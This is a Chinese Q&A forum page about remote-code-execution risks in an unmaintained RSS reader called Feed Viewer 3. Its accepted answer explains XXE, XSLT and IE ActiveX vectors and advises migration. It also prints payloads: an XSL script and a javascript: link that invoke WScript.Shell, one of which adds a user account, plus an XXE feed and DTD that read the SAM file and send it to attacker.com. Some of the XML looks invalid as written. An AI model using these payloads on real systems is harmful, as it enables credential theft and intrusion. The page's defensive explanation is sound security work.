Feed Viewer 3(一款已停止维护的RSS/Atom阅读器)因长期未更新,存在多个已知远程代码执行(RCE)风险。主要漏洞包括:1)XML外部实体(XXE)注入——解析恶意RSS源时加载外部DTD,可读取本地文件或发起SSRF;2)XSLT模板引擎滥用——若支持用户可控XSL样式表,攻击者可嵌入``或``(在旧版MSXML或libxslt中)触发任意命令执行;3)HTML渲染组件(如基于IE WebBrowser控件)的跨域脚本执行,配合钓鱼源可绕过同源策略并调用ActiveX对象(如`WScript.Shell`)。需强调:这些漏洞均依赖特定配置(如启用XSLT、禁用XXE防护、运行于高权限上下文),且无官方补丁。建议立即停用Feed Viewer 3,迁移至现代沙箱化阅读器(如FreshRSS、NewsBlur)。
1条回答 默认 最新
张牛顿 2026-02-06 18:10关注```html一、现象层:Feed Viewer 3 的“静默崩溃”——一个被遗忘的客户端风险入口
Feed Viewer 3 作为2000年代初流行的桌面RSS/Atom阅读器,其界面简洁、支持OPML导入、可离线缓存,曾是IT管理员与技术博主的轻量级首选。但自2012年最后一次更新(v3.1.4)后,项目彻底归档,GitHub仓库冻结,官网域名失效。当前主流Windows(Win10/11)仍可运行其x86安装包,却悄然成为攻击链中“合法白进程”——无需社会工程诱导点击,仅订阅恶意RSS源即可触发漏洞链。
二、机理层:三大RCE向量的协同利用路径
以下表格对比三类漏洞的技术本质、触发条件与实际危害等级:
漏洞类型 核心成因 最小触发条件 CVE关联(非官方编号) 实测影响范围 XXE注入 使用MSXML 3.0/6.0解析RSS时未禁用外部实体 RSS源含 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>无CVE,但微软KB973688明确标注为高危配置 读取本地敏感文件、内网端口扫描、DNS带外回传 XSLT命令执行 启用XSLT转换且未沙箱化(如调用 msxsl:script或libxslt的exslt:node-set()扩展)恶意XSL中嵌入 <xsl:script language="JScript">WScript.Shell.Run("calc.exe")</xsl:script>参考CVE-2017-0199(Office XSLT RCE变体)原理复现 任意进程启动、PowerShell下载执行、横向移动凭证窃取 IE WebBrowser ActiveX逃逸 渲染RSS正文HTML时未启用 FEATURE_LOCAL_MACHINE_LOCKDOWN策略,且允许javascript:伪协议钓鱼RSS条目含 <a href="javascript: new ActiveXObject('WScript.Shell').Run('net user hacker P@ss123 /add')">点击查看更新</a>属IE旧版“跨域ActiveX调用”通用缺陷(MSRC已归档) 绕过同源策略、调用系统COM对象、持久化注册表启动项 三、验证层:红队视角下的PoC构造与边界确认
以下为可复现的最小化XXE+SSRF联合利用示例(需目标启用“自动加载外部样式表”):
<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"> <channel> <title>Exploit Feed</title> <item> <title>Leak SAM hash via SMB</title> <description>&xxe;</description> <!-- DTD in external file http://attacker.com/evil.dtd --> <!DOCTYPE rss [ <!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd"> ]> </item> </channel> </rss>对应
evil.dtd内容:<!ENTITY % file SYSTEM "file:///c:/windows/system32/config/SAM"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'http://attacker.com/?leak=%file;'>"> %eval; %error;四、架构层:为何补丁不可行?——技术债的三重锁定
graph LR A[Feed Viewer 3源码缺失] --> B[无法修复MSXML绑定逻辑] B --> C[无法替换IE WebBrowser控件] C --> D[无法移除XSLT引擎依赖] D --> E[所有补丁需重构COM组件交互层] E --> F[等效于重写整个渲染管线]五、迁移层:现代RSS阅读器的安全基线对照
下表列出推荐替代方案的关键安全特性(基于2024年Q2最新审计):
方案 沙箱机制 远程内容隔离 ActiveX/COM禁用 自动更新策略 供应链审计 FreshRSS (v1.23.1) PHP-FPM容器级隔离 + CSP头强制 HTML正文经HTMLPurifier过滤,禁用 <script>/javascript:纯Web前端,零本地COM调用 Docker镜像自动CI/CD推送 OWASP Dependency-Check集成 NewsBlur (v6.2) Cloudflare Workers边缘沙箱 + V8 Isolate 服务端预渲染,客户端仅接收JSON 完全基于Web标准API GitOps驱动滚动发布 定期第三方渗透测试报告公开 六、治理层:企业级停用路线图(含兼容性保障)
- 资产清点:通过PowerShell脚本扫描全网注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*匹配FeedViewer3关键词; - 网络层阻断:在防火墙策略中封禁
feedviewer3.exe的出站HTTP/HTTPS连接(防止恶意源拉取); - 用户侧平滑过渡:部署FreshRSS反向代理网关(Nginx+Authelia),将旧OPML一键导入新平台;
- 审计留痕:记录所有停用终端的SHA256哈希值及卸载时间戳,纳入ISO27001合规证据库。
本回答被题主选为最佳回答 , 对您是否有帮助呢?解决 无用评论 打赏 举报- 资产清点:通过PowerShell脚本扫描全网注册表